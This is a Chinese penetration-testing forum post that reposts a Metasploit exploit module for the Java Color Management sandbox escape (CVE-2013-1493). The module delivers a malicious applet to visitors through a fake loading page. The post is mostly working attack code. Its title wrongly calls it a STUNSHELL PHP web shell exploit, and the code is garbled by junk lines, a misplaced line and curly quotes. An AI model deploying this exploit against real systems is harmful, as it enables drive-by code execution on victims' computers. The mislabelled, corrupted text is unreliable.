中国网络渗透测试联盟
标题:
STUNSHELL PHP Web Shell远程执行代码
[打印本页]
作者:
admin
时间:
2013-4-4 17:31
标题:
STUNSHELL PHP Web Shell远程执行代码
##
, p8 d0 V) L% H9 ~1 c [ L( W! |
7 l, `6 F& L1 Z, T% x
# This file is part of the Metasploit Framework and may be subject to
/ T% D2 d4 S* w2 @
# redistribution and commercial restrictions. Please see the Metasploit
% [! }# D; N4 S |
# web site for more information on licensing and terms of use.
% D! D# P5 F& z% \0 k) u
#
http://metasploit.com/
; R7 F$ U5 n2 `9 t& Z
##
/ X0 e0 h2 `- x& v! z! ^
require ‘msf/core’
* X, [6 e( Y, J# O; |! R& p) s
require ‘rex’
/ V. s# D0 p$ F
class Metasploit3 < Msf::Exploit::Remote
6 E b0 L3 M' l/ ]/ g* s
Rank = NormalRanking
: Z0 r- K: e$ G* Y# V
include Msf::Exploit::Remote::HttpServer::HTML
6 |1 E1 H# u1 b$ G( d) G' C8 ~% @
include Msf::Exploit::EXE
5 e7 n4 W1 S9 j2 k2 I3 }6 k4 c
include Msf::Exploit::Remote::BrowserAutopwn
: G7 R& H# \8 F$ z. M" x4 J5 S
autopwn_info({ :javascript => false })
0 c) X7 k" x7 h* i" V
def initialize( info = {} )
3 Q: C- s6 Z' ~( ~+ q: D
super( update_info( info,
- x8 z& v! F( k1 V+ p. i$ f
‘Name’ => ‘Java CMM Remote Code Execution’,
. s% s) H; J W
‘Description’ => %q{
u( P B! B, ~" b$ X7 D
This module abuses the Color Management classes from a Java Applet to run
1 f+ T# w2 a v8 A" S. D
arbitrary Java code outside of the sandbox as exploited in the wild in February
$ m. v" B) v1 r8 n2 J
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
2 B. [" E/ N8 T2 M
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
, m! G" K& H, _# s1 W/ z& f
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
/ A! X. q3 j: h. a
warning in order to run the malicious applet.
0 j& Y" t1 W j
},
: D0 c4 t! [$ x- H7 u5 ]
‘License’ => MSF_LICENSE,
4 T1 V6 G( Z* v2 K$ l8 B+ k* H7 {
‘Author’ =>
" b' W6 O6 {; F- y# h- M. t$ I4 v
'Unknown', # Vulnerability discovery and Exploit
8 o0 V# g3 v; U* f! b
'juan vazquez' # Metasploit module (just ported the published exploit)
8 b) A& Y5 e8 x! X; n3 p5 ] U
],
' Q1 H9 C4 ~* e B, Z _
‘References’ =>
z A6 F9 a7 Y# g, M+ F( N, y
[
/ L$ q: ?2 q- S7 K
[ 'CVE', '2013-1493' ],
+ C6 t6 z+ O5 ^8 x+ Q' `* w
[ 'OSVDB', '90737' ],
3 O. t" Q9 h* P+ M6 x& f
[ 'BID', '58238' ],
5 X. h' _. s) r8 ]; }$ Q! ~* g
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
+ {( P& y5 p8 l$ G- D2 {, T# t( w
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
5 F& b9 {4 n3 K% C& S
[ 'URL', 'http://pastie.org/pastes/6581034' ]
& ?0 E/ x) c9 q: b! {, n( o
],
/ v1 v D! e3 f! I1 N
‘Platform’ => [ 'win', 'java' ],
/ m( O s0 ~( m* C! J; b. w8 e z k
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
/ [$ L( N2 O: m. T8 W
‘Targets’ =>
2 w9 i- s3 F. L) Y9 `6 _& \
[
. I0 a4 x8 s8 b, G6 J% D1 R4 W
[ 'Generic (Java Payload)',
1 v& h2 q$ `' l( w# V* w% e
{
% F. K V) E7 o
'Platform' => 'java',
Z, Y2 d! y4 E* ]* N% h! F2 h/ A
'Arch' => ARCH_JAVA
, y) z8 o+ Q4 e w. I R: F( A
}
& ]; Q5 b: G4 e& _$ J
],
# c7 P/ W4 ]/ S( X% E
[ 'Windows x86 (Native Payload)',
5 K( s' k7 m5 {" e# N
{
5 f" {# M! G9 j7 E* C. ^/ v
'Platform' => 'win',
- z" N9 L7 C/ F& ?
'Arch' => ARCH_X86
' y1 ^% b; U' m8 X7 x
}
5 S0 q) e$ I6 z
]
; I; X$ y2 z6 M: v8 Z# q/ h
],
- |8 x" y9 r; R% T. U( P" E6 v/ T
‘‘DisclosureDate’ => ‘Mar 01 2013′
2 i- |$ r) j1 g* b! R
))
, ]/ O: y) h* z0 A4 P% }; f3 M
end
8 \9 H# H* O( \% \
def setup
) F/ |3 f, ?6 J- A
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
* T7 i' I) j# C' y* ~( f2 b
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
$ B7 g7 v6 Z: P0 u4 z
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
+ Q/ l! O# _% k
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
1 n( k2 e4 K. Q, C4 Q. s
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
$ @, X& @- O& l0 f9 K
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
4 e' l+ Z8 r/ Q. u
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
% ^1 v' B3 N) D' p% y
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
* q+ m; q) { M8 B) r5 V
@init_class_name = rand_text_alpha(“Init”.length)
) X1 J/ T: k; m. A+ R0 i
@init_class.gsub!(“Init”, @init_class_name)
" o2 P& _# j/ e" c
super
3 Q8 t% ~: _5 F6 O9 n" ~! N
end
/ D0 Y2 b. V. r0 g1 Q! U
def on_request_uri(cli, request)
, v+ p+ H+ n3 o
print_status(“handling request for #{request.uri}”)
' _7 S2 q7 Y0 x; K
case request.uri
( R* C4 C3 f$ X; }+ @1 \) I
when /\.jar$/i
- v! i! M+ O/ e/ a8 D% A1 d9 O5 B+ M
jar = payload.encoded_jar
# r% L% A9 J# _/ D
jar.add_file(“#{@init_class_name}.class”, @init_class)
1 ~2 p7 `% }" y$ c- X( L' H: H
jar.add_file(“Leak.class”, @leak_class)
P( e4 `* J( o# F0 ]; ]$ D6 u- Y
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
( Q9 ^8 @* ?* z$ L6 W3 z, J" N
jar.add_file(“MyColorSpace.class”, @color_space_class)
- ?" y+ t8 p1 V
DefaultTarget’ => 1,
' i* d4 G5 ?4 i6 t$ M0 ?
metasploit_str = rand_text_alpha(“metasploit”.length)
6 I2 K2 \5 k5 [1 f' u) G
payload_str = rand_text_alpha(“payload”.length)
5 ?6 | v. t3 M% u* B! B' a9 ]
jar.entries.each { |entry|
* [5 f. \$ X# w) _9 ?! x
entry.name.gsub!(“metasploit”, metasploit_str)
9 y( F; S9 P! s1 R( K
entry.name.gsub!(“Payload”, payload_str)
) T2 v% h+ @3 t, z
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
9 W. q" ]. J* I! Y/ ?$ Q0 T
entry.data = entry.data.gsub(“Payload”, payload_str)
5 p0 p( M; X7 u: [
}
' S5 Z- L, B4 J8 y6 x8 q" ?
jar.build_manifest
; T, Z% a- k6 o% K5 M! e h
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
( N; R1 e0 K2 ^
when /\/$/
- Q; z0 [6 c1 a c
payload = regenerate_payload(cli)
7 s s! [7 r. \! d
if not payload
" L* q% X0 T2 _9 N
print_error(“Failed to generate the payload.”)
8 t' ~* H8 Q* L. R# L4 E
send_not_found(cli)
5 E9 N" b. _0 G) K" D
return
& o Y2 B7 P, x* ~- p. [
end
$ O, n3 P: h- o! ?6 g5 _+ K3 c
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
) d( y' j0 x+ }7 S- U3 t
else
& {( o' X% h( }! P: _9 D8 V* h
send_redirect(cli, get_resource() + ‘/’, ”)
# Q0 g( G6 g. P7 ~4 B- u
end
" s" `9 P9 j7 @, Q3 b* h1 x* }
end
$ g) M' W, ^4 G4 { g" K
def generate_html
0 Y1 l9 \( _/ l0 U8 P6 Z
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
: h2 W7 ?% F+ w& `2 ^
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
/ q+ s5 O9 B$ s+ I
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
, I. F" D8 B: ~ K/ ^' y
html += %Q|</applet></body></html>|
( [ R' w% ?! v0 m5 c- S$ N9 e
return html
9 _: N( n6 S# f5 t* x% p. q6 I$ y
end
2 A! ?+ ^5 V, V3 U) L( \
end
+ f2 ^5 }" _2 l% Q! s9 G$ k: B
end
2 o0 \ o. f2 n% R6 t; t
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2